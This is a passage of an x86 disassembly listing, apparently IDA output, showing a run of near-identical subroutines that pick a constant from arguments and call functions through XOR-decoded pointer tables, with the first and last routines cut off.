var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 72h
mov [ebp+var_2C], 80h
mov [ebp+var_28], 0E0h
mov [ebp+var_24], 5Bh
mov [ebp+var_20], 69h
mov [ebp+var_1C], 1Bh
mov [ebp+var_18], 0C9h
mov [ebp+var_14], 95h
mov [ebp+var_10], 0Dh
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 0Dh
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A88CB
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A88CB: ; CODE XREF: sub_4A883A+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A883A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A8937 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED994o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 8Ah
mov [ebp+var_2C], 7Ah
mov [ebp+var_28], 9Ah
mov [ebp+var_24], 39h
mov [ebp+var_20], 4Bh
mov [ebp+var_1C], 0ACh
mov [ebp+var_18], 0C5h
mov [ebp+var_14], 0C4h
mov [ebp+var_10], 3
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 3
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A89C8
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A89C8: ; CODE XREF: sub_4A8937+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A8937 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A8A34 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED998o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 0A7h
mov [ebp+var_2C], 94h
mov [ebp+var_28], 1Eh
mov [ebp+var_24], 0E2h
mov [ebp+var_20], 16h
mov [ebp+var_1C], 0D8h
mov [ebp+var_18], 3Ch
mov [ebp+var_14], 54h
mov [ebp+var_10], 3
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 3
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A8AC5
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A8AC5: ; CODE XREF: sub_4A8A34+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A8A34 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A8B31 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED99Co
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 0A8h
mov [ebp+var_2C], 0F6h
mov [ebp+var_28], 26h
mov [ebp+var_24], 88h
mov [ebp+var_20], 0Ch
mov [ebp+var_1C], 0E8h
mov [ebp+var_18], 2Bh
mov [ebp+var_14], 2Ch
mov [ebp+var_10], 2
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 2
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A8BC2
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A8BC2: ; CODE XREF: sub_4A8B31+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A8B31 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A8C2E proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED9A0o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 2Dh
mov [ebp+var_2C], 1Dh
mov [ebp+var_28], 15h
mov [ebp+var_24], 54h
mov [ebp+var_20], 5Bh
mov [ebp+var_1C], 21h
mov [ebp+var_18], 36h
mov [ebp+var_14], 0DAh
mov [ebp+var_10], 0Ch
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 0Ch
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A8CBF
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A8CBF: ; CODE XREF: sub_4A8C2E+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A8C2E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A8D2B proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED9A4o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 0FBh
mov [ebp+var_2C], 23h
mov [ebp+var_28], 79h
mov [ebp+var_24], 68h
mov [ebp+var_20], 25h
mov [ebp+var_1C], 0F4h
mov [ebp+var_18], 0F2h
mov [ebp+var_14], 7Dh
mov [ebp+var_10], 0Ch
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 0Ch
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A8DBC
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A8DBC: ; CODE XREF: sub_4A8D2B+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A8D2B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A8E28 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED9A8o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 0D9h
mov [ebp+var_2C], 1Dh
mov [ebp+var_28], 0DEh
mov [ebp+var_24], 35h
mov [ebp+var_20], 0EBh
mov [ebp+var_1C], 71h
mov [ebp+var_18], 2Ah
mov [ebp+var_14], 2Dh
mov [ebp+var_10], 1
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 1
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A8EB8
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A8EB8: ; CODE XREF: sub_4A8E28+7Dj
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A8E28 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A8F24 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED9ACo
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 7
mov [ebp+var_2C], 0C6h
mov [ebp+var_28], 0BFh
mov [ebp+var_24], 56h
mov [ebp+var_20], 45h
mov [ebp+var_1C], 9Ah
mov [ebp+var_18], 75h
mov [ebp+var_14], 74h
mov [ebp+var_10], 3
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 3
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A8FB5
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A8FB5: ; CODE XREF: sub_4A8F24+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A8F24 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A9021 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED9B0o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 0D8h
mov [ebp+var_2C], 95h
mov [ebp+var_28], 5Dh
mov [ebp+var_24], 56h
mov [ebp+var_20], 0Bh
mov [ebp+var_1C], 80h
mov [ebp+var_18], 17h
mov [ebp+var_14], 0B0h
mov [ebp+var_10], 0Dh
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 0Dh
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A90B2
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A90B2: ; CODE XREF: sub_4A9021+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A9021 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A911E proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED9B4o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 0C3h
mov [ebp+var_2C], 3
mov [ebp+var_28], 0C8h
mov [ebp+var_24], 9Ah
mov [ebp+var_20], 89h
mov [ebp+var_1C], 1Ah
mov [ebp+var_18], 69h
mov [ebp+var_14], 91h
mov [ebp+var_10], 15h
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 15h
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A91AF
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A91AF: ; CODE XREF: sub_4A911E+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A911E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A921B proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED9B8o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 22h
mov [ebp+var_2C], 0A8h
mov [ebp+var_28], 15h
mov [ebp+var_24], 98h
mov [ebp+var_20], 57h
mov [ebp+var_1C], 0B7h
mov [ebp+var_18], 8Eh
mov [ebp+var_14], 38h
mov [ebp+var_10], 9
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 9
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A92AC
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A92AC: ; CODE XREF: sub_4A921B+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A921B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A9318 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED9BCo
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 0A4h
mov [ebp+var_2C], 98h
mov [ebp+var_28], 0B4h
mov [ebp+var_24], 2Fh
mov [ebp+var_20], 2
mov [ebp+var_1C], 96h
mov [ebp+var_18], 59h
mov [ebp+var_14], 0DDh
mov [ebp+var_10], 1
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 1
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A93A8
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A93A8: ; CODE XREF: sub_4A9318+7Dj
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A9318 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A9414 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED9C0o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
